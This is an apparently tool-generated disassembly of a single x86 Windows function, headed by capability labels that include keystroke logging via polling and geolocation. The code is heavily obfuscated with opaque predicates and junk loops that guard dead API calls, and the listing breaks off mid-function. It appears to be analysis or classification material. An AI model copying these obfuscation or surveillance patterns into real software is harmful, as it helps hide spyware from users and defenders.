Function at 0x1003a99c
Capabilities:
Allocate thread local storage
Get geographical location
Log keystrokes via polling
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x354
push esi
push edi
mov dword [ebp - 8], 0x7cefa9d1
mov dword [ebp - 0x2e0], 0xfffffffd
mov dword [ebp - 0x2dc], 0xfffffffd
mov dword [ebp - 0x2d8], 0xfffffffd
mov dword [ebp - 0x2d4], 0xfffffffd
mov dword [ebp - 0x210], 0xe011b55e
mov dword [ebp - 0x14], 0x3152c58f
mov dword [ebp - 0x1b4], 3
mov dword [ebp - 0xec], 0xffffffff
mov dword [ebp - 0x18], 0
jmp 0x1003aa0b
mov eax, dword [ebp - 0x18]
inc eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 3
jge 0x1003aa21
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0xd0], 0x6158d32f
jmp 0x1003aa04
mov dword [ebp - 0x18], 0
jmp 0x1003aa31
mov eax, dword [ebp - 0x18]
inc eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 3
jge 0x1003aa47
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x2b4], 0x58bdfadf
jmp 0x1003aa2a
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0xd0], 0
jne 0x1003aaa7
push 4
pop eax
shl eax, 1
push 4
pop ecx
shl ecx, 1
mov ecx, dword [ebp + ecx - 0xd0]
cmp dword [ebp + eax - 0xd0], ecx
je 0x1003aa7d
mov dword [ebp - 0x160], 1
jmp 0x1003aa84
and dword [ebp - 0x160], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0xd0]
cmp dword [ebp - 0x160], eax
je 0x1003aaa7
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0xd0], 0
je 0x1003aac3
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x2b4], 0
je 0x1003aac3
mov dword [ebp - 0x190], 1
jmp 0x1003aaca
and dword [ebp - 0x190], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0xd0]
mov dword [ebp - 0x14], eax
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0xd0]
sub eax, dword [ebp - 0x190]
cmp dword [ebp - 0x14], eax
jge 0x1003aafc
mov dword [ebp - 0x1ac], 1
jmp 0x1003ab03
and dword [ebp - 0x1ac], 0
mov eax, dword [ebp - 0x1ac]
add eax, 0x7533b484
mov dword [ebp - 0x1b4], eax
mov dword [ebp - 0x14], 2
jmp 0x1003ab24
mov eax, dword [ebp - 0x14]
dec eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jl 0x1003ac6c
mov dword [ebp - 0x1d4], 0xd17017a6
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp + eax*4 - 0xd0]
mov dword [ebp - 0x2f0], eax
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0xec], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x2b4]
cmp dword [ebp - 0xec], eax
je 0x1003ab72
mov dword [ebp - 0xf4], 1
jmp 0x1003ab79
and dword [ebp - 0xf4], 0
mov eax, dword [ebp - 0x1b4]
cmp dword [ebp - 0xf4], eax
jl 0x1003ab93
mov dword [ebp - 0x1bc], 1
jmp 0x1003ab9a
and dword [ebp - 0x1bc], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0xd0]
cmp dword [ebp - 0x1bc], eax
jl 0x1003abba
mov dword [ebp - 0xfc], 1
jmp 0x1003abc1
and dword [ebp - 0xfc], 0
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp + eax*4 - 0xd0]
cmp dword [ebp - 0xfc], eax
jle 0x1003abdf
mov dword [ebp - 0x1c4], 1
jmp 0x1003abe6
and dword [ebp - 0x1c4], 0
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp + eax*4 - 0xd0]
imul eax, dword [ebp - 0x1c4]
mov dword [ebp - 0x104], eax
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x104]
mov dword [ebp + eax*4 - 0xd0], ecx
mov eax, 0xa796d402
sub eax, dword [ebp - 0x104]
cmp eax, dword [ebp - 0x1d4]
je 0x1003ac2c
mov dword [ebp - 0x1cc], 1
jmp 0x1003ac33
and dword [ebp - 0x1cc], 0
cmp dword [ebp - 0x1cc], 0x87d6364d
ja 0x1003ac51
mov eax, 0xd232
test eax, eax
jne 0x1003ac51
and dword [ebp - 0x10c], 0
jmp 0x1003ac5b
mov dword [ebp - 0x10c], 1
mov eax, dword [ebp - 0x10c]
mov dword [ebp - 0x1d4], eax
jmp 0x1003ab1d
mov dword [ebp - 4], 0x56f9b2cf
mov dword [ebp - 0x260], 0xfffffff6
mov dword [ebp - 0xbc], 0
jmp 0x1003ac96
mov eax, dword [ebp - 0xbc]
inc eax
mov dword [ebp - 0xbc], eax
cmp dword [ebp - 0xbc], 1
jge 0x1003acaf
mov eax, dword [ebp - 0xbc]
mov dword [ebp + eax*4 - 0xc], 0xdde0bcd8
jmp 0x1003ac89
mov dword [ebp - 4], 0
jmp 0x1003acbf
mov eax, dword [ebp - 4]
dec eax
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jl 0x1003adea
mov dword [ebp - 0x34], 0xfffffffd
mov dword [ebp - 0x34], 0
jmp 0x1003ace0
mov eax, dword [ebp - 0x34]
inc eax
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], 0
jg 0x1003ade5
mov eax, dword [ebp - 4]
mov eax, dword [ebp + eax*4 - 0xc]
mov dword [ebp - 0x2c4], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xc]
mov dword [ebp - 0x2f4], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xc]
mov dword [ebp - 0x2cc], eax
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x2bc], eax
mov eax, dword [ebp - 4]
mov ecx, dword [ebp - 4]
mov ecx, dword [ebp + ecx*4 - 0xc]
cmp dword [ebp + eax*4 - 0xc], ecx
jge 0x1003ad49
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0xc], 0
je 0x1003ad49
mov dword [ebp - 0x114], 1
jmp 0x1003ad50
and dword [ebp - 0x114], 0
cmp dword [ebp - 0x114], 1
jg 0x1003ad65
mov dword [ebp - 0x1dc], 1
jmp 0x1003ad6c
and dword [ebp - 0x1dc], 0
cmp dword [ebp - 0x1dc], 0xe243
jne 0x1003ad84
mov dword [ebp - 0x11c], 1
jmp 0x1003ad8b
and dword [ebp - 0x11c], 0
mov eax, dword [ebp - 0x34]
add eax, dword [ebp - 0x11c]
cmp eax, 0xa7609fa8
jne 0x1003ada7
mov dword [ebp - 0x1e4], 1
jmp 0x1003adae
and dword [ebp - 0x1e4], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xc]
cmp dword [ebp - 0x1e4], eax
jge 0x1003adcc
mov dword [ebp - 0x1ec], 1
jmp 0x1003add3
and dword [ebp - 0x1ec], 0
mov eax, dword [ebp - 0x34]
mov ecx, dword [ebp - 0x1ec]
mov dword [ebp + eax*4 - 0xc], ecx
jmp 0x1003acd9
jmp 0x1003acb8
mov dword [ebp - 4], 0
jmp 0x1003adfa
mov eax, dword [ebp - 4]
inc eax
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 7
jge 0x1003af92
mov dword [ebp - 0x54], 1
mov dword [ebp - 0x130], 0xfffffff6
mov dword [ebp - 0xd4], 0xffffffff
mov dword [ebp - 0x128], 7
mov dword [ebp - 0x258], 6
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x54]
mov dword [ebp + eax - 0xc], ecx
mov eax, dword [ebp - 0x54]
mov dword [ebp - 0xd4], eax
cmp dword [ebp - 0xd4], 0
je 0x1003ae56
cmp dword [ebp - 4], 0
mov eax, dword [ebp - 0xd4]
mov dword [ebp - 0x128], eax
mov eax, dword [ebp - 0x54]
sub eax, dword [ebp - 0x128]
je 0x1003ae7f
cmp dword [ebp - 4], 0
je 0x1003ae7f
mov dword [ebp - 0x1c8], 1
jmp 0x1003ae86
and dword [ebp - 0x1c8], 0
mov eax, dword [ebp - 0x54]
cmp dword [ebp - 0x1c8], eax
jle 0x1003ae9d
mov dword [ebp - 0x208], 1
jmp 0x1003aea4
and dword [ebp - 0x208], 0
mov eax, dword [ebp - 0x54]
mov dword [ebp - 0x2a0], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0xc], 0xe74
jne 0x1003aec9
mov dword [ebp - 0x198], 1
jmp 0x1003aed0
and dword [ebp - 0x198], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xc]
mov dword [ebp - 0x130], eax
mov eax, dword [ebp - 0x130]
cmp eax, dword [ebp - 0x198]
jg 0x1003aefa
mov dword [ebp - 0x138], 1
jmp 0x1003af01
and dword [ebp - 0x138], 0
mov eax, dword [ebp - 4]
cmp eax, dword [ebp - 0x138]
je 0x1003af18
mov dword [ebp - 0x1f0], 1
jmp 0x1003af1f
and dword [ebp - 0x1f0], 0
cmp dword [ebp - 0x1f0], 0xffffffff
jne 0x1003af37
cmp dword [ebp - 4], 0
jne 0x1003af37
and dword [ebp - 0x140], 0
jmp 0x1003af41
mov dword [ebp - 0x140], 1
mov eax, dword [ebp - 0x140]
mov dword [ebp - 0x258], eax
cmp dword [ebp - 4], 0xfffffffd
jb 0x1003af65
mov eax, 0xfffa
test eax, eax
jne 0x1003af65
and dword [ebp - 0x1a0], 0
jmp 0x1003af6f
mov dword [ebp - 0x1a0], 1
mov eax, dword [ebp - 0x1a0]
mov dword [ebp - 0x260], eax
mov byte [ebp - 0x25], 0
movzx eax, byte [ebp - 0x25]
test eax, eax
je 0x1003af8d
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
jmp 0x1003adf3
cmp dword [ebp - 8], 0x57e8
jl 0x1003afa7
mov dword [ebp - 0x1d0], 1
jmp 0x1003afae
and dword [ebp - 0x1d0], 0
mov eax, dword [ebp - 8]
cmp dword [ebp - 8], eax
jl 0x1003afc2
mov dword [ebp - 0x150], 1
jmp 0x1003afc9
and dword [ebp - 0x150], 0
mov eax, dword [ebp - 8]
imul eax, dword [ebp - 8]
cmp eax, dword [ebp - 8]
jle 0x1003afe5
xor eax, eax
je 0x1003afe5
mov dword [ebp - 0x148], 1
jmp 0x1003afec
and dword [ebp - 0x148], 0
mov eax, dword [ebp - 8]
cmp dword [ebp - 0x148], eax
jl 0x1003b003
mov dword [ebp - 0x1a8], 1
jmp 0x1003b00a
and dword [ebp - 0x1a8], 0
mov eax, dword [ebp - 0x1d0]
sub eax, dword [ebp - 0x150]
cmp eax, dword [ebp - 0x1a8]
jne 0x1003b80d
mov dword [ebp - 0xc4], 0
jmp 0x1003b03b
mov eax, dword [ebp - 0xc4]
inc eax
mov dword [ebp - 0xc4], eax
cmp dword [ebp - 0xc4], 3
jge 0x1003b057
mov eax, dword [ebp - 0xc4]
mov dword [ebp + eax*4 - 0x290], 8
jmp 0x1003b02e
push 4
pop eax
shl eax, 0
mov dword [ebp + eax - 0x290], 0x17
jmp 0x1003b085
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x290]
dec eax
push 4
pop ecx
shl ecx, 0
mov dword [ebp + ecx - 0x290], eax
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x290], 0xffffffe9
je 0x1003b122
mov dword [ebp - 0x78], 0
jmp 0x1003b0a9
mov eax, dword [ebp - 0x78]
inc eax
mov dword [ebp - 0x78], eax
cmp dword [ebp - 0x78], 2
jge 0x1003b0bf
mov eax, dword [ebp - 0x78]
mov dword [ebp + eax*4 - 0x204], 0xfffffff7
jmp 0x1003b0a2
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x204], 0
jmp 0x1003b0ed
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x204]
inc eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x204], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x204], 2
jge 0x1003b11d
mov byte [ebp - 0x29], 0
movzx eax, byte [ebp - 0x29]
test eax, eax
je 0x1003b11b
push 0xb11
push 0x1f8e
push 0
call dword [sym.imp.USER32.dll_CheckMenuItem]
jmp 0x1003b0d2
jmp 0x1003b06a
mov byte [ebp - 0x35], 0
movzx eax, byte [ebp - 0x35]
test eax, eax
je 0x1003b13b
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
mov dword [ebp - 0x2a4], 0xb44a
mov dword [ebp - 0x154], 0xffffffff
mov dword [ebp - 0x24], 0x6b0f
mov dword [ebp - 0x29c], 0xffffffff
mov dword [ebp - 0x250], 0xb6917ab6
mov dword [ebp - 0x268], 0xffffffff
mov dword [ebp - 0xa8], 0
jmp 0x1003b18d
mov eax, dword [ebp - 0xa8]
inc eax
mov dword [ebp - 0xa8], eax
cmp dword [ebp - 0xa8], 4
jge 0x1003b1a9
mov eax, dword [ebp - 0xa8]
mov dword [ebp + eax*4 - 0x33c], 0
jmp 0x1003b180
mov eax, dword [ebp - 0x24]
dec eax
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x24], 0
jmp 0x1003b1c0
mov eax, dword [ebp - 0x24]
inc eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 3
jg 0x1003b2b6
mov dword [ebp - 0x278], 0
mov dword [ebp - 0x274], 0
mov dword [ebp - 0x270], 0
mov dword [ebp - 0x26c], 0
mov dword [ebp - 0x2f8], 0x70f9e3d3
xor eax, eax
inc eax
je 0x1003b21d
push 4
pop eax
imul eax, eax, 3
cmp dword [ebp + eax - 0x278], 0
je 0x1003b21d
mov dword [ebp - 0x158], 1
jmp 0x1003b224
and dword [ebp - 0x158], 0
mov eax, dword [ebp - 0x158]
add eax, 8
mov ecx, dword [ebp - 0x24]
cmp eax, dword [ebp + ecx*4 - 0x33c]
jge 0x1003b245
mov dword [ebp - 0x1e8], 1
jmp 0x1003b24c
and dword [ebp - 0x1e8], 0
mov eax, dword [ebp - 0x24]
cmp dword [ebp - 0x1e8], eax
je 0x1003b263
mov dword [ebp - 0xe0], 1
jmp 0x1003b26a
and dword [ebp - 0xe0], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0xe0]
mov dword [ebp + eax - 0x278], ecx
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x268]
cmp dword [ebp + eax - 0x278], ecx
jle 0x1003b29e
mov dword [ebp - 0x1b0], 1
jmp 0x1003b2a5
and dword [ebp - 0x1b0], 0
mov eax, dword [ebp - 0x1b0]
mov dword [ebp - 0x250], eax
jmp 0x1003b1b9
mov dword [ebp - 0x228], 0
mov dword [ebp - 8], 0xfffffff4
jmp 0x1003b2d0
mov eax, dword [ebp - 8]
inc eax
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0x17
je 0x1003b7f2
mov dword [ebp - 0x68], 0xaeef20fe
mov dword [ebp - 0x80], 0
jmp 0x1003b2f1
mov eax, dword [ebp - 0x80]
inc eax
mov dword [ebp - 0x80], eax
cmp dword [ebp - 0x80], 3
jge 0x1003b307
mov eax, dword [ebp - 0x80]
mov dword [ebp + eax*4 - 0x304], 0x177e
jmp 0x1003b2ea
mov dword [ebp - 0x68], 2
jmp 0x1003b317
mov eax, dword [ebp - 0x68]
dec eax
mov dword [ebp - 0x68], eax
cmp dword [ebp - 0x68], 0
jl 0x1003b339
mov dword [ebp - 0x21c], 0xcb36
mov eax, dword [ebp - 0x68]
mov ecx, dword [ebp - 0x21c]
mov dword [ebp + eax*4 - 0x304], ecx
jmp 0x1003b310
mov dword [ebp - 0x88], 0x2ba75a59
mov dword [ebp - 0xc0], 0xd07ddbf4
mov dword [ebp - 0x1e0], 0
mov dword [ebp - 0x170], 3
mov dword [ebp - 0x188], 0xc1477a14
mov dword [ebp - 0x264], 0xc298c245
mov dword [ebp - 0x1c], 0
jmp 0x1003b385
mov eax, dword [ebp - 0x1c]
inc eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 1
jge 0x1003b398
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x10], 0x477862f
jmp 0x1003b37e
mov dword [ebp - 0x1c], 0
jmp 0x1003b3a8
mov eax, dword [ebp - 0x1c]
inc eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 4
jge 0x1003b3be
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x244], 0x96960f57
jmp 0x1003b3a1
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x244], 0
jmp 0x1003b3ec
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x244]
inc eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x244], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x244], 1
jge 0x1003b413
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x244]
mov dword [ebp + eax*4 - 0x10], 0xfffffffe
jmp 0x1003b3d1
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x244]
mov dword [ebp - 0x168], eax
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x168]
mov dword [ebp + eax - 0x244], ecx
cmp dword [ebp - 0x168], 0
jne 0x1003b44e
mov dword [ebp - 0x12c], 1
jmp 0x1003b455
and dword [ebp - 0x12c], 0
mov dword [ebp - 0xc0], 0xffffffff
mov eax, dword [ebp - 0xc0]
mov dword [ebp - 0x1e0], eax
imul eax, dword [ebp - 0xc0], 0x813c
sub eax, 0xf355
push 4
pop ecx
imul ecx, ecx, 0
cmp eax, dword [ebp + ecx - 0x10]
jne 0x1003b492
mov dword [ebp - 0x218], 1
jmp 0x1003b499
and dword [ebp - 0x218], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x10]
mov dword [ebp - 0x2c0], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x10], 0xffffffff
je 0x1003b4c2
mov dword [ebp - 0x1d8], 1
jmp 0x1003b4c9
and dword [ebp - 0x1d8], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x10]
imul eax, dword [ebp - 0x1d8]
mov dword [ebp - 0x170], eax
cmp dword [ebp - 0x170], 0
jne 0x1003b4f5
mov dword [ebp - 0x1b8], 1
jmp 0x1003b4fc
and dword [ebp - 0x1b8], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x10]
cmp dword [ebp - 0x1b8], eax
jl 0x1003b51a
mov dword [ebp - 0x178], 1
jmp 0x1003b521
and dword [ebp - 0x178], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x10]
cmp dword [ebp - 0x178], eax
jg 0x1003b53f
mov dword [ebp - 0x1fc], 1
jmp 0x1003b546
and dword [ebp - 0x1fc], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x10]
cmp dword [ebp - 0x1fc], eax
jge 0x1003b564
mov dword [ebp - 0x180], 1
jmp 0x1003b56b
and dword [ebp - 0x180], 0
cmp dword [ebp - 0x180], 0x4c638299
jl 0x1003b583
mov dword [ebp - 0x1c0], 1
jmp 0x1003b58a
and dword [ebp - 0x1c0], 0
mov eax, dword [ebp - 0x1c0]
dec eax
mov dword [ebp - 0x188], eax
jne 0x1003b5ad
cmp dword [ebp - 0x1e0], 0
jne 0x1003b5ad
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x10], 0
cmp dword [ebp - 0xc0], 0
jne 0x1003b5c2
mov dword [ebp - 0x120], 1
jmp 0x1003b5c9
and dword [ebp - 0x120], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x10]
cmp dword [ebp - 0x120], eax
jle 0x1003b5e7
mov dword [ebp - 0x124], 1
jmp 0x1003b5ee
and dword [ebp - 0x124], 0
cmp dword [ebp - 0x124], 0xeb66
jle 0x1003b606
mov dword [ebp - 0x134], 1
jmp 0x1003b60d
and dword [ebp - 0x134], 0
mov eax, dword [ebp - 0x12c]
cmp eax, dword [ebp - 0x134]
jl 0x1003b627
mov dword [ebp - 0x13c], 1
jmp 0x1003b62e
and dword [ebp - 0x13c], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x10]
add eax, dword [ebp - 0x13c]
jne 0x1003b652
mov eax, 0xe2ff5ff7
test eax, eax
jne 0x1003b652
and dword [ebp - 0x144], 0
jmp 0x1003b65c
mov dword [ebp - 0x144], 1
mov eax, dword [ebp - 0x144]
mov dword [ebp - 0x264], eax
mov dword [ebp - 0x2a8], 0
mov dword [ebp - 0x64], 0xfffffffb
mov dword [ebp - 0x64], 0xffffffea
jmp 0x1003b689
mov eax, dword [ebp - 0x64]
dec eax
mov dword [ebp - 0x64], eax
cmp dword [ebp - 0x64], 0xffffffe3
jg 0x1003b6ba
mov byte [ebp - 0x2b], 0
movzx eax, byte [ebp - 0x2b]
test eax, eax
je 0x1003b6b0
push 0
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
push 0
push 0
call dword [sym.imp.USER32.dll_CreateDialogIndirectParamA]
cmp dword [ebp - 0x64], 0
je 0x1003b6b8
jmp 0x1003b6ba
jmp 0x1003b682
mov dword [ebp - 0x88], 0
jmp 0x1003b6d3
mov eax, dword [ebp - 0x88]
dec eax
mov dword [ebp - 0x88], eax
cmp dword [ebp - 0x88], 0xffffffee
jge 0x1003b7ed
mov dword [ebp - 0x14c], 1
mov dword [ebp - 0x90], 0xfffffff9
mov dword [ebp - 0xb0], 0
jmp 0x1003b70d
mov eax, dword [ebp - 0xb0]
inc eax
mov dword [ebp - 0xb0], eax
cmp dword [ebp - 0xb0], 1
jge 0x1003b729
mov eax, dword [ebp - 0xb0]
mov dword [ebp + eax*4 - 0x220], 0x949dfcf0
jmp 0x1003b700
mov dword [ebp - 0x90], 0
jmp 0x1003b742
mov eax, dword [ebp - 0x90]
dec eax
mov dword [ebp - 0x90], eax
cmp dword [ebp - 0x90], 0xfffffffb
je 0x1003b7db
mov dword [ebp - 0x6c], 0x4182bd7b
mov dword [ebp - 0x24c], 0
mov dword [ebp - 0x6c], 0
jmp 0x1003b770
mov eax, dword [ebp - 0x6c]
dec eax
mov dword [ebp - 0x6c], eax
cmp dword [ebp - 0x6c], 0xfffffffa
jne 0x1003b7d6
mov dword [ebp - 0x5c], 0xfef9d786
mov dword [ebp - 0x5c], 0
jmp 0x1003b78d
mov eax, dword [ebp - 0x5c]
dec eax
mov dword [ebp - 0x5c], eax
cmp dword [ebp - 0x5c], 0
jl 0x1003b7c9
mov byte [ebp - 0x3e], 0
movzx eax, byte [ebp - 0x3e]
test eax, eax
je 0x1003b7b8
push 0x165
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetROP2]
mov eax, dword [ebp - 0x5c]
cmp dword [ebp + eax*4 - 0x220], 0
je 0x1003b7c7
jmp 0x1003b7c9
jmp 0x1003b786
cmp dword [ebp - 0x24c], 0
je 0x1003b7d4
jmp 0x1003b769
jmp 0x1003b769
jmp 0x1003b735
mov eax, dword [ebp - 0x14c]
dec eax
mov dword [ebp - 0x14c], eax
jmp 0x1003b6c6
jmp 0x1003b2c9
mov dword [ebp - 0x154], 0xffffffff
mov eax, dword [ebp - 0x154]
mov dword [ebp - 0x228], eax
jmp 0x1003bc47
mov dword [ebp - 8], 0
jmp 0x1003b81d
mov eax, dword [ebp - 8]
inc eax
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 3
jg 0x1003bc47
mov dword [ebp - 0x98], 0xfffffffc
mov dword [ebp - 0x98], 0
jmp 0x1003b84a
mov eax, dword [ebp - 0x98]
inc eax
mov dword [ebp - 0x98], eax
cmp dword [ebp - 0x98], 3
jg 0x1003bc34
mov dword [ebp - 0x25c], 3
mov dword [ebp - 0x15c], 0xe08cccdd
mov dword [ebp - 0x20], 0
jmp 0x1003b87b
mov eax, dword [ebp - 0x20]
inc eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 3
jge 0x1003b891
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x31c], 0x52cb1363
jmp 0x1003b874
mov dword [ebp - 0x20], 0
jmp 0x1003b8a1
mov eax, dword [ebp - 0x20]
inc eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 3
jge 0x1003b8b7
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x348], 0xc4530722
jmp 0x1003b89a
push 4
pop eax
shl eax, 1
mov ecx, dword [ebp - 0x25c]
mov dword [ebp + eax - 0x31c], ecx
mov eax, dword [ebp - 0x15c]
dec eax
mov dword [ebp - 0x15c], eax
mov dword [ebp - 0x4c], 0x622ba394
mov dword [ebp - 0x44], 0x8e92eda8
mov dword [ebp - 0xb8], 0
jmp 0x1003b8fd
mov eax, dword [ebp - 0xb8]
inc eax
mov dword [ebp - 0xb8], eax
cmp dword [ebp - 0xb8], 2
jge 0x1003b919
mov eax, dword [ebp - 0xb8]
mov dword [ebp + eax*4 - 0x298], 1
jmp 0x1003b8f0
mov dword [ebp - 0x4c], 1
jmp 0x1003b929
mov eax, dword [ebp - 0x4c]
dec eax
mov dword [ebp - 0x4c], eax
cmp dword [ebp - 0x4c], 0
jl 0x1003bad5
mov dword [ebp - 0x164], 6
mov dword [ebp - 0xa0], 0
jmp 0x1003b956
mov eax, dword [ebp - 0xa0]
inc eax
mov dword [ebp - 0xa0], eax
cmp dword [ebp - 0xa0], 2
jge 0x1003b972
mov eax, dword [ebp - 0xa0]
mov dword [ebp + eax*4 - 0x1f8], 1
jmp 0x1003b949
push 4
pop eax
shl eax, 0
mov dword [ebp + eax - 0x1f8], 0
jmp 0x1003b9a0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x1f8]
inc eax
push 4
pop ecx
shl ecx, 0
mov dword [ebp + ecx - 0x1f8], eax
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x1f8], 1
jg 0x1003baa6
mov dword [ebp - 0x3c], 0xd49f
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp + eax*4 - 0x298]
inc eax
mov dword [ebp - 0x164], eax
cmp dword [ebp - 0x164], 0xfffa
jae 0x1003b9e4
mov dword [ebp - 0x174], 1
jmp 0x1003b9eb
and dword [ebp - 0x174], 0
mov dword [ebp - 0x3c], 0x1509cf13
cmp dword [ebp - 0x3c], 0
jne 0x1003ba07
cmp dword [ebp - 0x3c], 0
jne 0x1003ba07
and dword [ebp - 0x16c], 0
jmp 0x1003ba11
mov dword [ebp - 0x16c], 1
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x1f8]
cmp dword [ebp - 0x16c], eax
jg 0x1003ba32
mov dword [ebp - 0x17c], 1
jmp 0x1003ba39
and dword [ebp - 0x17c], 0
mov eax, dword [ebp - 0x174]
cmp eax, dword [ebp - 0x17c]
jle 0x1003ba53
mov dword [ebp - 0x184], 1
jmp 0x1003ba5a
and dword [ebp - 0x184], 0
mov eax, dword [ebp - 0x184]
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x3c], 0
jmp 0x1003ba73
mov eax, dword [ebp - 0x3c]
inc eax
mov dword [ebp - 0x3c], eax
cmp dword [ebp - 0x3c], 1
jg 0x1003baa1
mov dword [ebp - 0x44], 0
jmp 0x1003ba89
mov eax, dword [ebp - 0x44]
inc eax
mov dword [ebp - 0x44], eax
cmp dword [ebp - 0x44], 2
jge 0x1003ba9f
mov eax, dword [ebp - 0x44]
mov dword [ebp + eax*4 - 0x298], 0xfffffffc
jmp 0x1003ba82
jmp 0x1003ba6c
jmp 0x1003b985
mov byte [ebp - 0x2d], 0
movzx eax, byte [ebp - 0x2d]
test eax, eax
je 0x1003bad0
push 0x37d
push 0x1e49
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetPixel]
jmp 0x1003b922
mov dword [ebp - 0x70], 0
jmp 0x1003bae5
mov eax, dword [ebp - 0x70]
inc eax
mov dword [ebp - 0x70], eax
cmp dword [ebp - 0x70], 1
jge 0x1003baf8
mov eax, dword [ebp - 0x70]
mov dword [ebp + eax*4 - 0x7c], 0x80bfe737
jmp 0x1003bade
mov dword [ebp - 0x74], 0xffffffff
mov dword [ebp - 0x254], 0x3bc6e5c7
mov byte [ebp - 0x26], 0
movzx eax, byte [ebp - 0x26]
test eax, eax
je 0x1003bb24
push 0xcab
push 0
push 0
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
mov dword [ebp - 0x74], 0xfffffff9
jmp 0x1003bb34
mov eax, dword [ebp - 0x74]
inc eax
mov dword [ebp - 0x74], eax
cmp dword [ebp - 0x74], 0xffffffff
jle 0x1003bb52
mov dword [ebp - 0x230], 0xffffffff
mov eax, dword [ebp - 0x230]
mov dword [ebp - 0x254], eax
jmp 0x1003bb2d
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x7c], 3
jmp 0x1003bb77
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x7c]
dec eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x7c], eax
push 4
pop eax
imul eax, eax, 0
